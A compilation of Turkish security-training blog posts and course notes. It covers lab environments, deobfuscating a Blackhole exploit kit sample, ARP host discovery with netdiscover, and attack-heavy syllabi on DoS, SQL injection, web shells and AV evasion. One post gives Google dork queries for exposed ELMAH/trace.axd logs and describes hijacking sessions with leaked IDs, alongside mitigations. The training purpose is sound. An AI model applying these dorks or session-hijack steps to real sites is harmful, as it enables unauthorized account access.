Nosql (Hadoop ve Hbase)

Microsoft İşletim Sistemleri

Active Directory (2008 ve 2012 olacak iki farklı sürüm)

Microsoft Exchange (Farklı versiyonlar)

Windows XP (SP0, SP1, SP2, SP3)

Page 43: Ceh ders not

Windows 7 (SP2)

Windows 8

Windows 2000, Windows 2003, Windows 2008, Windows 2012 ( SP li versiyonları ile)

Kurumsal Ortamlarda Kullanılan App. Serverlar

Weblogic

Oracle Application Server

Apache tomcat (http://www.turnkeylinux.org/tomcat)

Apache Axis

Jboss (Windows, Linux)

Sharepoint 2013 (http://technet.microsoft.com/en-us/evalcenter/hh973397.aspx)

Sharepoint 2010 (http://www.microsoft.com/en-us/download/details.aspx?id=16631)

Vulnerable VM Sistemleri

Metasploitable (http://sourceforge.net/projects/metasploitable/)

Metasploitable-II

Holynix V1

Holynix V2

Kiopritx serileri

Lampsecurity ctf serileri

Voipown

vulnvoip (http://vulnhub.com/entry/hacklab_vulnvoip,40/)

Hack2net Level2

Page 44: Ceh ders not

UNIX/Linux İşletim Sistemleri(Dağıtımları)

FreeBSD (8.0, 8.2, 9.0)

OpenBSD 4.6

Linux (farklı kernel seviyelerinde 6 farklı dağıtım: Fedora, Redhat ,Debian, Ubuntu, Gentoo, Suse, Selinux)

MacOSX (farklı sürümler)

Android (Mobil Sistemler, farklı versiyonlarda)

Solaris UNIX

Ağ Hizmetleri

DNS Hizmeti (Bind, Windows, NSD)

E-posta servisi (Postfix, Exim, Hmail)

FTP servisi (Filezilla, vsftpd, Microsoft FTP, UNIX Standalone ftp, Anonim ftp)

VPN (SSL, ipsec, pptp, l2tp)

Web Servisi

İstemci Uygulamaları

Java (Farklı sürümlerde 8 adet)

PDF (farklı sürümlerde 4 adet)

Flash(Farklı sürümlerde 3 adet)

Internet Explorer (Farklı sürümlerde 7 adet)

Firefox (farklı sürümlerde 5 adet)

Skype eski sürüm (http://seclists.org/bugtraq/2013/Mar/94 )

Blogging/Content Management Systems

Page 45: Ceh ders not

Wordpress (farklı sürümler ve farklı eklentileri barındıracak şekilde)

Joomla (farklı sürümler ve farklı eklentileri barındıracak şekilde)

Drupal (farklı sürümler ve farklı eklentileri barındıracak şekilde)

Exploit-db’de yer alan zafiyet içeren CMS yazılımları (100 adet)

Bilinen 10 AV Programı ve HIPS Yazılımı

McAfee

Symantec

Kaspersky

Bitdefender

Trend Micro

Eset Nod32

Avira

AVG

Microsoft Security Essentials

FortiClient

Main Frame Simulator

Hercule - Main frame simulator

Open menu Share

0 0

Page 46: Ceh ders not

05/24/14--06:39: BGA, BGAPRO Ankara Ofisi Yeni Adresine Taşındı

Ankara'da sunduğumuz Bilgi Güvenliği danışmanlık, eğitim ve destek hizmetleri için genişleyen ekibimizle birlikte yeni adresimize taşındık. Bilgi Güvenliği ve Linux AKADEMİ eğitimleri artık aşağıda bilgileri yer alan adreste gerçekleştirilecektir.

Ceyhun Atuf Kansu Caddesi Gözde Plaza İş Merkezi Kat:5 No:130/72 BALGAT ÇANKAYA/ANKARA (MHP Genel Merkez Binası ile Yargıtay Binası arası)

Yeni ofisimizden birkaç resim,

Open menu Share

0 0

05/29/14--12:13: Karmaşıklaştırılmış (Obfuscated) Javascript Analizi

Sıklıkla karşılaşılan istismar senaryolarından biri olan HTML dokümanlarında veya PDF dosyalarındaki gömülü Javascipt kodlarını sadece JS bilgisi kullanarak analiz etmek genelde mümkün olmamaktadır. Genelde zararlı JS kodları amaçlarını gizlemek adına obfuscation denilen kodu okunamaz hale getirme yöntemleri uygulanmış olarak bulunur. Bu da kodu tekrar okunabilir hale getirme (deobfuscation) ihtiyacını doğurur.

Yazıda ünlü Blackhole istismar kitinin bir türevini okunabilir hale getirme senaryosu üzerinden JSDetox ve JS-beautify yazılımlarının JS deobfuscation amaçlı kullanımı anlatılmıştır.

Page 47: Ceh ders not

Kullanılan Araçlar:

Blackhole Exploit Kit Örneği (e1ab25769040b66e644f0184a541821f19946bcd094bef2bb69762511eeeed9e)

JSDetox

JS-beautify

Obfuscation işlemi uygulanarak okunması zorlaştırılan Javascript kodlarını analiz etmeye yarayan jsdetox uygulaması çalıştırılır. Kurulum aşamalarıyla uğraşmamak için REMnux 5 dağıtımı kullanılabilir. REMnux’te JSDetox’u çalıştırmak için terminalden şu komutlar girilir.

cd /usr/local/jsdetox/

./jsdetox

Beklenen çıktı aşağıdaki gibidir.

[JSDetox] Loading framework ... done.

[JSDetox] Starting webserver (hit Ctrl-C to quit) ...

=> Padrino/0.10.7 has taken the stage development at http://127.0.0.1:3000

[2014-05-27 17:25:46] INFO WEBrick 1.3.1

[2014-05-27 17:25:46] INFO ruby 1.9.2 (2011-07-09) [i686-linux]

[2014-05-27 17:25:46] INFO WEBrick::HTTPServer#start: pid=1668 port=3000

Çıktıda da gözüktüğü üzere tarayıcıdan http://127.0.0.1:3000 adresine bağlanarak JSDetox’un web arayüzüne erişilir.

Eğer analiz edilecek doküman sadece JS kodlarından oluşuyorsa “Code Analysis” sekmesindeki aksi halde “HTML Document” sekmesindeki “Upload” tuşu kullanılarak doküman yüklenir. İçeriği doğrudan textarea alanına yapıştırmak da mümkündür. Örnek dosya HTML dokümanı olduğu için ilgili sekmedeki “Extract Scripts” butonuna basılarak JS kodları dışındaki kodlar ayıklanır. “Analyze” tuşuna basıldığında anlamsız gözüken uzun bir bloğun ardından çalıştırılabilir durumdaki JS kodları görülür.

Page 48: Ceh ders not

Selection_001.png

Bu bölümün deobfuscation işlemini yapan bölüm olduğu varsayımı yapılabilir.

Daha sonra sayfanın sol tarafındaki “Execute eval() statements” seçeneği işaretlenip JSDetox’un eval fonksiyonlarını çalıştırması sağlanıp “Execute” tuşuna basılır. Bu sayede kodun çalışma anında yaptığı gibi kendini deobfuscate etmesi sağlanır. Execute sekmesine gelindiğinde birçok kez “eval” fonksiyonunun çağırıldığı görülür. Genelde açma işlemi tamamlandıktan sonra esas işlevleri gerçekleştirecek olan kod en sondaki “eval” fonksiyonunun parametresi olarak bulunabilir. Bu bölümü analiz etmek için de listeden son “eval() call executed” uyarısının “Show Code” tuşuna tıklanıp “Send to Analyze” denilir. Bu sayede ilgili kod analiz ekranında görülür.

Selection_004.png

“Reformat” butonuna basılarak kod daha okunaklı hale getirilir. Örnekte bu işlem hata ile sonuçlanacaktır, bir sebepten JSDetox bu kodu parse edememektedir. Bu durumda mevcut diğer araçlarla devam etmek en pratik seçenek olacaktır.

Son olarak kısmen deobfuscate edilmiş edilmiş kod bir dosyaya kaydedilir (tmp.js) ve JS-beautify uygulaması ile tam okunaklı hale getirilir. Bunun için terminalden

js-beautify tmp.js > deobfuscated.js

komutu girilir.

Artık deobfuscated.js dosyası bir metin düzenleyici ile açılarak içeriği rahatlıkla analiz edilebilir. Bu analizden istismar edilmeye çalışılan zafiyetler, kullanılan shellcode, sisteme yüklenmek istenen zararlı ve benzeri detaylar elde edilebilir.

Selection_005.png

Open menu Share

0 0

05/30/14--10:11: Yerel Ağda IP-MAC Adreslerinin Bulunması- Netdiscover

Page 49: Ceh ders not

Yerel ağların oluşturulmasında en çok kullanılan ağ arayüzü Ethernet' tir. Ethernet arayüzleri birbirlerine veri paketi göndermeleri için, kendilerine üretim sırasında verilen fiziksel adresleri kullanırlar; 48 bit olan bu arayüzlerin ilk 24 biti üreticiyi belirtir ve 48 bitlik blok eşsizdir. TCP/IP protokolünün kullanıldığı ağlarda 32 bit olan IP adresi kullanılır. Fiziksel katmanda Ethernet arayüzü kullanılıyorsa, IP adresten fiziksel adrese dönüşüm işinin yapılması gerekir. Bunun için sistemlerde Adres Çözümleme Protokolü olan ARP( Address Resolution Protocol ) ve ARP tabloları kullanılır.

Netdiscover Aracı ile Yerel Ağda IP-MAC Adreslerinin Bulunması

Netdiscover aracı yerel ağda router veya switch gibi davranan basit bir araçtır. Yerel ağda gönderdiği ARP paketleri ile MAC adreslerine karşılık gelen IP adreslerini bulmaya çalışır.Bu araç sayesinde yerel ağda MITM veya başka bir atak gerçekleştirmeden önce hedef sistemlerin IP adresleri kolayca elde edilebilir.

Netdiscover aracını kullanmadan önce Wireshark ile normal bir yerel ağ trafiği incelendiğinde aşağıdaki gibi bir durum görünmektedir.

Burada normal bir internet trafiğine ait paketler ve ilgili protokoller açıkça görülebilir. Biz daha çok yerel ağdaki durumla ilgilendiğimiz için burada protokol filtrelemesi yaparak sadece ARP paketlerini aşağıdaki gibi görebiliriz.

Burada basit bir ARP trafiği görünmektedir ve iletişime geçen IP-MAC adres eşlemeleri kolayca bulunabilir.Daha yoğun bir trafiğin olduğu ortamlarda ise wireshark ile trafik analizi yapmak çok zahmetli ve vakit alıcı olacaktır. Bunun için yerel ağdaki herkesin IP ve MAC adresini öğrenmek için

Netdiscover aracını kullanmanız size zaman kazandıracaktır ve daha anlaşılır sonuçlar üretecektir.

Kali Linux işletim sisteminde Netdiscover aracını çalıştırmak için Kali Linux Menu–> Information Gathering –> Live Host Identification –>Netdiscover menüleri takip edilerek araç çalıştırılabilir.

Page 50: Ceh ders not

Yada kısaca terminal üzerinden netdiscover yazarak da aracı çalıştırabilirsiniz. Araç çok karmaşık bir yapıya sahip değildir. Help menüsünden parametrelerine bakabilir ve kolaylıkla kullanabilirsiniz.

Aracı temel olarak kullanmak için -r parametresi ile taranmak istenen alt ağı, -i parametresi ile de dinlenecek olan ağ arayüzünü vermeniz yeterlidir.

Aşağıdaki örnekte 192.168.0.0/24 altağına ait bir tarama yapılmıştır. Yapılan tarama sonucunda ise yerel ağdaki açık makineler listelenmiştir.Çalıştırılan komut;

#netdiscover -i eth0 -r 192.168.0.0/24

Referanslar :

http://ultimatepeter.com/using-netdiscover-arp-to-find-lan-ip-and-mac-addresses/

Open menu Share

0 0

06/01/14--11:52: Uygulamalı Ağ Güvenliği ve TCP/IP Eğitimi Lab Kitabı [yeni]

Bilgi Güvenliği AKADEMİSİ olarak verdiğimiz eğitimlerde uygulamaya özel önem veriyoruz. Güvenlik gibi karmaşık bir konu detaylı uygulamalar gerçekleştirmeden anlatıldığında konuya yabancı olan katılımcılar tarafından tam olarak anlaşılamamaktadır. Eğitim notlarına destek olmak amacıyla başlattığımız lab çalışmalarını içeren kitapçık çalışmalarını uzun süre önce başlamıştık.

Page 51: Ceh ders not

Bu konuda ilk kitap çalışmamız olan Beyaz Şapkalı Hacker eğitimi Lab kitapçığını 2013 yılı başlarında öğrencilerimizin kullanımına sunmuştuk (Detaylarına http://blog.bga.com.tr/2013/01/beyaz-sapkal-hacker-egitimi-lab-kitapcg.html adresinden erişilebilir)

Yeni dönem eğitimlerinde Uygulamalı Ağ Güvenliği Lab Kitabı Çalışması, İleri Seviye Ağ Güvenliği Eğitimi Lab Kitabı, Sertifikalı Ağ Güvenliği Eğitimi Lab Kitabı, Malware Analizi Eğitimi Lab Kitabı, Network Pentest Eğitimi Lab Kitabı, DDoS Eğitimi Lab Kitabı hazırlıklarımız hızlı bir şekilde devam etmektedir. Bunlar arasında içeriğini tamamladığımız Uygulamalı Ağ Güvenliği Eğitimi Lab Kitabını bir ay içerisinde katılımcılarımızla paylaşıyor olacağız.

BGA ekibinden Cihat IŞIK ve Huzeyfe ÖNAL tarafından hazırlanan ~350 sayfalık aşağıdaki içeriğe sahip Uygulamalı Ağ Güvenliği ve TCP/IP Eğitimi Lab Kitabı'nı ücretsiz edinmek için daha önce BGA tarafından açılmış Uygulamalı Ağ Güvenliği eğitimine katılmış olmanız yeterlidir.

Kitapçığı edinmek için [email protected] adresine kitabı istediğinize dair bir e-posta göndererek BGA İstanbul ve Ankara ofislerinden 5 Temmuz 2014 itibariyle teslim alabilirsiniz. Kargo ile gönderim yapılmamaktadır.

Uygulamalı Ağ Güvenliği Eğitimi Lab. Kitabı Konu Başlıkları

İşletim Sistemlerinde Dinamik ve Statik ARP Kayıtları

Yerel Ağlarda Sahte ARP Paketleri Üreterek DoS Gerçekleştirme

MAC Flood Saldırısı Gerçekleştirerek Switch CAM Tablosu Doldurma

Cain&Abel Kullanarak ARP Cache Poisoning Saldırısı

Snort, Arpwatch ve Xarp kullanarak arp spoof ve MITM saldırılarını engelleme

IP Spoofing Örnekleri

Sahte IPv4 TCP Paketi Üretimi

Sahte UDP Paketi Üretimi

IP Adresinin Sahibinin Bulunması

Parçalanmış IP Paketleri Kullanarak Port Tarama

Page 52: Ceh ders not

Parçalanmış IP Paketleri Kullanarak IDS Atlatma

Parçalanmış IP Paketleri Kullanarak L7 Firewall Atlatma

TCP ve UDP Paketleri Kullanarak Traceroute Çalışması

IP Saklama Amaçlı TOR ve Proxy Kullanımı

İsteğe Göre ICMP Paketi Üretimi

ICMP Tunelling (ICMP Üzerinden TCP/HTTP Paketleri Geçirme)

ICMP Smurf Denial of Service Saldırısı Gerçekleştirme

ICMP Redirect ile L3 Seviyesinde Araya Girme Saldırısı

ICMP Üzerinden Uzaktan Telnet/SSH Benzeri Sistem Yönetimi

ICMP Flood DDoS Saldırısı Gerçekleştirme

TCP Üzerinden DoS/DDoS Saldırıları Gerçekleştirme

Gerçek/sahte IP Adresleri Kullanarak SYN Flood Saldırısı Gerçekleştirme

Gerçek/sahte IP Adresleri Kullanarak FIN Flood Saldırısı Gerçekleştirme

TCP Connection Flood Saldırısı Gerçekleştirme

TCP Protokolü Kullanarak Port Tarama Yöntem ve Araçları

UDP Protokolü Kullanarak Port Tarama Çeşitleri

İsteğe Göre TCP Bayraklı Paket Üretimi

TCP ve UDP arasındaki temel farkın gösterilmesi (Netcat kullanarak)

SYNCookie ve SYNProxy Kullanarak SYN flood saldırılarını Engelleme

SYNProxy Kullanılan Sistemlere Yönelik Port Tarama

TCP Protokolünde IP Spoofing Kontrolü

Sahte DHCP Sunucu Kullanarak MITM Saldırısı

DHCP Flood DoS Saldırısı

DNS Sorgulamaları için Dig Kullanımı

DNS Üzerinden Trace Çalışmaları

512 Byte Üzeri DNS Paketlerinin TCP’e Çevrilmesi

DNS Sunucu Versiyon Belirleme

Page 53: Ceh ders not

DNS Zone Transferi ile Alt Domain Adreslerinin Bulunması

DNS Alt Domain Adreslerini Brute Force Denemeleriyle Bulma

DNS Tunneling - DNS Protokolü Üzerinden TCP/HTTP Paketleri Tünelleme

Metasploit Kullanarak DNS Cache Poisoning Saldırısı

DNS Cache Snooping

Sahte Alan Adları Kullanarak DNS Flood DDoS Saldırısı

Amplified DNS DDoS Saldırısı

Pratik Tcpdump Sniffer Kullanımı

Tshark Kullanarak İleri Seviye Paket Analizi

Paket/Protokol Analizi Amaçlı Wireshark Kullanımı

Wireshark Örnek Paket Analizleri

Ağ Trafiğinden Veri Ayıklama (Network Forensics-1)

Ağ Trafiği İçerisinde Kelime Yakalama

Ngrep Kullanarak Ağ Trafiğinde Tünelleme Yazılımlarını Belirleme

SSL Trafiğinde Paket Analizi

Şifreli Protokollerde Araya Girme

Sertifika Otoritesi Oluşturma

Herkese Açık Ortamlarda Paylaşım Amaçlı Paket Anonimleştirme

Nmap, Unicornscan ve Hping ile Performans Testleri

Paket Analizi, Protokol Analizi Kavramları

Yerel Ağda Kullanılan Protokol Oranlarını Belirleme

Web Sunuculara Yönelik Performans (Gecikme) Ölçümü

Yerel Ağlarda Kullanılmayan IP Adreslerinin Tespiti

Arping Kullanarak L2 Seviyesinde Paket İşlemleri

DNS Protokolunde Sorun Giderme

MiTM Saldırılarını Çift Yönlü Engelleme

Tcpdump Aracınının Saldırı Tespit Amaçlı Kullanımı

Page 54: Ceh ders not

Web Sunuculara Yönelik DdoS Saldırıları ve TCP Oturum Detayları

Yerel Aglarda Sniffer Tespit Çalışmaları

Kaydedilmiş Trafiğin Tekrar Oynatılması– Tcpreplay

Web sunuculara yönelik performans/DoS testleri

Medusa – Ağ Servislerine Yönelik Kaba Kuvvet Parola Test Aracı

Birden Fazla Alan Adı Için Tek Sertifika Kullanımı

NTP Servisi Kullanarak Gerçekleştirilen Amplification DDoS Saldırıları

Sızma Testlerinde ICMP Üzerinden Shell Alma

Snort Kullanarak Zararlı Yazılım Tespiti

Zararlı Yazılım Trafiğinin Sahte Servislerle Yönetimi

Ağ Tabanlı Saldırılara Karşı Aktif Defans

Zarp Kullanarak TCP/IP Protokol Zafiyetlerinin İstismarı

Port Taramalarında Ağ Tabanlı Atak Önleme Sistemlerini Şaşırtma

DoS/DDoS Testlerinde Dikkat Edilmesi Gereken Hususlar

DDoS Forensics:DDoS Saldırılarında Sahte IP Kullanımı Belirleme

Nping Kullanarak TCP Connection Flood DoS/DDoS Testleri

Intrusion Prevention System Stateful Signature Inspection Testleri

Hping Kullanarak URPF Korumalı Ağlarda IP Spoofing

Günümüz Internet Dünyasında IP Spoofing

DDOS Engellemede DFAS Yöntemi

SSH Tünel Üzerinden Port Tarama

Tek Port Üzerinden HTTPS, SSH, OpenVPN Servislerinin Hizmet Vermesi

Open menu Share

0 0

06/08/14--11:25: Web Uygulama Güvenlik Testleri Eğitimi / 20-22 Haziran 2014

Eğitim Açıklaması

Page 55: Ceh ders not

Web Application Pentest(Web Uygulamaları Güvenlik Denetimi Eğitimi) günümüz bilişim güvenliğinin en zayıf halkalarından olan web uygulamalarının güvenliğinin hacker bakış açısıyla test edilmesini amaçlayan uygulamalı eğitimdir. Eğitim boyunca katılımcılar farklı platform ve programlama dilleri kullanılarak geliştirilmiş çeşitli yazılımlardaki güvenlik zafiyetlerinin nasıl bulunacağını ve istismar edileceği konusunda pratik yapma fırsatı bulacaktır.

Eğitim tamamen uygulamalı bir şekilde işlenmektedir ve eğitim süresince katılımcılara açık kaynak kodlu ve ticari çeşitli web güvenlik test araçlarını kullanma imkanı sunulmaktadır.

Eğitim Tarihleri

20-22 Haziran 2014

Eğitim Ücreti & Kayıt

Eğitim ücreti ve kayıt için [email protected] adresine "2014-WPT-2 Egitimi Ucret Bilgisi/Kayit" konulu e-posta gönderiniz.

Kimler Katılmalı

Bu eğitim, IT güvenlik görevlileri, denetçiler, güvenlik uzmanları, site yöneticileri ve ağ altyapı bütünlüğü konusunda çalışmalar yapan herkes için önemli ölçüde yarar sağlayacaktır.

Ön Gereksinimler

Temel HTML Bilgisi

Eğitim Süresi

3 Gün

Sertifika

Eğitime katılanlara, BGA tarafından katılım sertifikası verilecektir.

Eğitim İçeriği

Bilgi Güvenliğinde Sızma Testleri ve Önemi

Sızma testi çeşitleri

Web Uygulamalarına yönelik sızma testleri

Uygulama güvenliği farkları

Uygulama güvenliği test araçları

Burp, Owasp Zap, Webscarab ...

Web Güvenlik Testlerinde kullanılan Firefox eklentileri

Otomatize Güvenlik Tarama Araçları

Page 56: Ceh ders not

Web Güvenlik testleri için lab. ortamları

OWASP BWPA, DVWA

Klasik Bir Network Pentest Senaryosu

Temel Nmap, Nessus, Metasploit Kullanımı

Port Tarama Çeşitleri ve zafiyet tarama

Network pentest, Web pentest kesişim noktaları

Jboss, Apache Tomcat gibi uygulamaların zafiyetleri

JBOSS JMX-Console yetkilendirme atlatma zafiyeti istismarı

Tomcat kullanılan sistemleri ele geçirme

Web Uygulama Güvenlik Testlerinde WAF/IPS Atlatma Teknikleri

Uygulama güvenlik zafiyetleri karşısında WAF ve IPS

Web uygulama testlerinde encoding yöntemleri ve kullanım alanları

Encoding teknikleri ve çeşitleri

URL ve HTML Encoding Kullanarak IPS Şaşırtma

HPP(HTTP Parametre Pollution) kullanarak IPS atlatma

Şifrelenmiş trafik kullanarak IPS atlatma

Web Uygulama Güvenlik Bileşenleri ve Temel HTTP Bilgisi

İstemci

Sunucu

Veritabanı

Uygulama Sunucusu

Network Hattı

Temel HTTP Bilgisi

HTTP Metodları ve İşlevleri

Güvenlik açısından HTTP metodları ve istismarı

HTTP PUT desteği aktif web sunucu istismarı

Web Uygulamalarına Yönelik Keşif Çalışmaları

Page 57: Ceh ders not

Arama motoru kullanarak web zafiyeti keşif teknikleri

Google üzerinden web uygulamalarına ait girdi alanlarının belirlenmesi

Google üzerinden hedef sisteme ait web platformu araştırması

Önemli arama kriterleri

Alt alan adı keşif çalışması

Sanal host(virtual host) kullanan sistemleri belirleme

Alt dizin keşif çalışması

Yönetim panellerine ait dosya/dizinlerin belirlenmesi

Dirbuster, Wfuzz araçlarının kullanımı

Hata mesajlarından hassas bilgilerin elde edilmesi

IPS, WAF keşif çalışmaları

OWASP TOP 10 (2013) ve Sızma Testlerinde Kullanımı : XSS(Cross Site Scripting) Zafiyeti Denetim Teknikleri

XSS tanımı, nedenleri

Gerçek hayattan XSS saldırı örnekleri

XSS zafiyeti çeşitleri

-Stored XSS

-Reflected XSS

-Dom XSS

XSS saldırılarında ilerleme

XSS sonucu oturum bilgilerinin elde edilmesi

XSS kullanarak zararlı yazılım bulaştırma senaryorsu

Klasik XSS engelleme yöntelmeri ve atlatma teknikleri

XSS saldırılarında Beef kullanımı

XSS saldırılarında Xss-Proxy ve Xss-tunnel kullanımı

CSRF (Siteler Arası İstek Sahteciliği) Saldırıları

CSRF zafiyeti hakkında temel bilgilendirme

Gerçek hayattan CSRF örnekleri

Page 58: Ceh ders not

Gmail, Amazon.com örnekleri

Örnek CSRF saldırı denemeleri

SQL Enjeksiyonu (SQL Injection) Saldırıları

Temel SQL bilgisi ve veritabanı çeşitleri

-Mysql temel bilgilendirme

-MsSql temel bilgilendirme

-Oracle temel bilgilendirme

-Postresql temel bilgilendirme

Sql injection ve gerçek hayattan saldırı örnekleri

SQL Injection çeşitleri

-Blind(kör) Sql enjeksiyon saldırıları

-Error based(hata tabanlı) sql enjeksiyon saldırıları

-Time based(zaman tabanlı) sql enjeksiyon saldırıları

-Diğer sqli çeşitleri

SQLi kullanarak giriş formu aşma/Authentication Bypass

Time Based Blind Sqli Saldırısı belirleme yöntemi

Time Based Blind Sqli kullanarak veri çekme - Mssql/Mysql

Otomatize SQL Injection saldırıları ve saldırı araçları

Sqlmap, Havij, araçlarının kullanımı

Veritabanı özelliklerine göre Sql injection denemeleri

SQL Injection Saldırılarında İlerleme

SQL injection kullanarak işletim sistemi ele geçirme senaryosu

Zararlı Kod Enjeksiyonu Saldırıları (LFI/RFI)

Genel tanımlar ve gerçek hayattan kod enjeksiyonu örnekleri

Dizin gezinimi (Directory Treversal)

Local File Inclusion

Remote File Inclusion

Page 59: Ceh ders not

LFI kullanarak sistemi uzaktan yönetme

URL erişimi kısıtlama problemlerine yönelik denetimler

Insecure Direct Object Reference Denetim Teknikleri

IDOR zafiyeti hakkında temel bilgilendirme

Gerçek hayattan örnekler

Insecure Direct Object Reference kullanarak yetki şstismarı

Session-Id ve cookie bilgilerinin istismar edilmesi ile farklı yetkiye sahip haklara geçiş

İstemci Korumaları ve Aşma Denetimleri

İstemci tarafı güvenlik korumalarını aşma - Java Script

İstemci tarafı güvenlik korumalarını aşma - HTML Form

Flash kullanılan sitelerde güvenlik zafiyeti arama

İstemci tarafında değiştirilebilen HTTP başlık bilgileri ve istismar yöntemleri

User-agent değerleri ile mobil uygulamara yönelik testler/atlatma

X-forwarded-for başlık bilgisi kullanarak yetkilendirme istismarı

Gizli form alanlarındaki değerleri kullanarak istismar yöntemi

Komut Enjeksiyonu(Command Injection) Saldırıları

Nedir, nasıl çalışır?

Gerçek hayattan komut enjeksiyonu saldırı örnekleri

Örnek komut enjeksiyonu saldırıları

Komut enjeksiyonu kullanarak hedef sistemi ele geçirme

İhlal Edilmiş Kimlik Doğrulama ve Oturum Yönetimi

Kimlik Doğrulama Denetimi ve Saldırıları

Kimlik doğrulama çeşitleri

Form tabanlı kimlik doğrulama

Kimlik doğrulama yöntemlerine yönelik parola bulma denemeleri

Captcha kullanılan sistemlere yönelik güvenlik testleri

Session fixation saldırısı ve etkileri

Page 60: Ceh ders not

HTTP Bağlantı Güvenliğine Yönelik Denetimler

SSL/TLS Kavramları

TLS çalışma yapısı ve temel güvenlik zafiyetleri

Sertifika otoriresi, PKI kavramları ve kullanım alanları

SSL konusunda MITM örnekleri

SSLStrip kullanarak SSL bağlantılarında araya girme

HTTPS bağlantılard oturum bilgisi/çerezlerin açık olarak elde edilmesi

Sidejacking, surfjacking saldırıları ve önlemleri

Sızma Testlerinde Web Tabanlı Arka Kapı (Backdoor) Kullanımı

Backdoor, shell kavramları ve farkları

Metasploit kullanarak platforma özel web tabanlı arka kapı oluşturma

PHP Shell Oluşturma

JSP Shell Oluşturma

ASP Shell Oluşturma

Antivirüsler tarafından tanınmayacak web shell oluşturma

WeBaCoo kullanarak tanınmaz web shell oluşturma örneği

Antivirüs atlatma amaçlı shell (Laudanum) kullanımı

Web ve Uygulamalara Yönelik Dos/DDoS Saldırıları

Genel DoS/DDoS saldırıları ve gerçek hayattan örnekler

Web uygulamalarına yönelik DoS/DDoS saldırıları

HTTP GET Flood DoS/DDoS saldırısı gerçekleştirme

HTTP Slowloris DoS saldırısı gerçekleştirme

OWASP HTTP DoS aracı kullanarak web stres testleri

SSL kullanarak DoS gerçekleştirme

THC SSL DoS yazılımı kullanarak ssl tabanlı dos saldırı örneği

Açık Kaynak Kod ve Ticari Web Güvenliği Tarama Yazılımları

Nikto kullanarak statik web güvenlik testleri

Page 61: Ceh ders not

W3af kullanarak dinamik web güvenlik testleri

Netsparker kullanarak dinamik web güvenlik testleri

Owasp ZAP, Burp Proxy kullanımı

Open menu Share

0 0

06/08/14--11:34: Asp.Net Gelişmiş Hata Ayıklama Yazılımları ve Güvenlik Zafiyetleri

ASP.NET platformu üzerinde yazılan web uygulamalarında elmah, trace gibi hata ayıklama,loglama araçları vardır. Bu araçlar uygulama geliştiricinin veya site yöneticisinin, kullanıcıların karşılaştığı hata sayfaları ile ilgili detaylı bilgiler almasını sağlar. Bu uygulamalar doğru yapılandırılmadığında tuttukları bilgiler( IP, cookie, kullanıcı adı, yerel dizin hatta bazen parola,vb.) herkes tarafından görülebilir. Doğru yapılandırılmayan siteler ayrıca Google tarafındanda önbelleğe alınmış olabilir.

Böyle siteler ELMAH için,

inurl:elmah.axd SqlException

inurl:elmah.axd select where from

inurl:elmah.axd ASPXAUTH

Trace.axd için;

inurl:”trace.axd” ext:axd “Application Trace”

Google arama parametreleriyle tespit edilebilir.

Ne yapılabilir?

IP, kullanıcı adı , yerel dizin,vb bilgiler keşif aşamasında hackerların elini güçlendirecek, saldırının ileriki aşamalarında kullanabilecek öneme sahiptir.

Cookie bilgisi ise yetki yükseltmek için kullanılabilir. Mesela siteye giriş yapmış bir yetkili kullanıcı site üzerinde bir hatayla karşılaştığında bu loglanacaktır. Loglanan bilgiler arasında cookie bilgiside varsa Firefox ve Cookies Manager kullanılarak (yada herhangi bir tarayıcı ve cookie yöneticisi kullanılabilir.) o kullanıcı haklarıyla siteye erişim sağlanabilir.

Nasıl?

Page 62: Ceh ders not

Örnek bir Trace.axd sayfası aşağıdaki gibidir. Session Id değeri, o an için aktif olan bir oturum bilgisini tutmaktadır. Bu değer kopyalanır.

Herhangi bir cookie düzenleme aracıyla bize ait ASP.NET_SessinId bu değerle değiştirilir.

Sayfa yenilendiğinde sisteme o SessionId sahip kullanıcı haklarıyla erişim sağlanır.

ELMAH tarafından loglanmış, cookie içermeyen ancak bilgi ifşası olan örnek bir sayfa aşağıdaki gibidir.

Nasıl Önlem Alınabilir?

ELMAH varsayılan olarak uzaktan erişime kapalıdır. Daha sonra uygulama geliştirici tarafından uzaktan erişime açılabilir. Eğer gerekli değilse bu erişimin kapatılması gerekir ya da görüntülemek için bir yetkilendirme(authorization) formu koyulmalıdır. Bu işlemin nasıl yapılacağı ELMAH geliştiricisi tarafından şu bağlantı 'da anlatılmıştır.

Trace.axd'de varsayılan olarak uzaktan erişime kapalıdır. Uzaktan erişim ve yetkilendirme için ELMAH kadar esneklik sunmasada güvenli yapılandırma için şu bağlantı takip edilebilir.

Page 63: Ceh ders not

Open menu Share

0 0

06/08/14--11:38: Bilgi Güvenliği AKADEMİSİ Haziran-Aralık 2014 Eğitim Takvimi

Yılın ikinci yarısı açmayı planladığımız eğitimlerin listesi ve takvimi belli oldu. Güncel eğitim takvimine http://www.bga.com.tr/egitim-takvimi.html adresinden erişim sağlanabilir.

HAZİRAN

Tarih Eğitim Adı Bilgi Durum Süresi Lokasyon/İl

2-6 Haziran 2014 CISSP Sertifikasyon Eğitimi Tıklayınız DOLU 5 Gün İstanbulBaşvur

2-6 Haziran 2014 Sertifikalı/Lisanslı Pentest Uzmanı Eğitimi Tıklayınız 5 GünAnkara Başvur

3-5 Haziran 2014 Web Uygulama Güvenlik Testleri Eğitimi Tıklayınız DOLU 3 GünAnkara Başvur

9-11 Haziran 2014 Kurumsal Ağlarda Malware Analizi Eğitimi Tıklayınız 3 GünAnkara Başvur

9-13 Haziran 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün İstanbulBaşvur

16-20 Haziran 2014 CISSP Sertifikası Eğitimi Tıklayınız 5 Gün Ankara Başvur

17-19 Haziran 2014 BDDK Kapsamlı Sızma Testi Eğitimi (Banka özel) Tıklayınız DOLU 3 Günİstanbul Başvur

20-22 Haziran 2014 Web Uygulama Güvenlik Testi Eğitimi Tıklayınız 3 Günİstanbul Başvur

23-24 Haziran 2014 Certificed Incident Handler Eğitimi Tıklayınız 2 Günİstanbul Başvur

Page 64: Ceh ders not

23-27 Haziran 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün AnkaraBaşvur

23-27 Haziran 2014 Sertifikalı/Lisanslı Pentest Uzmanı Eğitimi Tıklayınız 5 Günİstanbul Başvur

AĞUSTOS

Tarih Eğitim Adı Bilgi Durum Süresi Lokasyon/İl

16-17-23-24 Ağustos 2014 Bash Scripting Programlama Eğitimi Tıklayınız 4 Günİstanbul Başvur

25-29 Ağustos 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün İstanbulBaşvur

EYLÜL

Tarih Eğitim Adı Bilgi Durum Süresi Lokasyon/İl

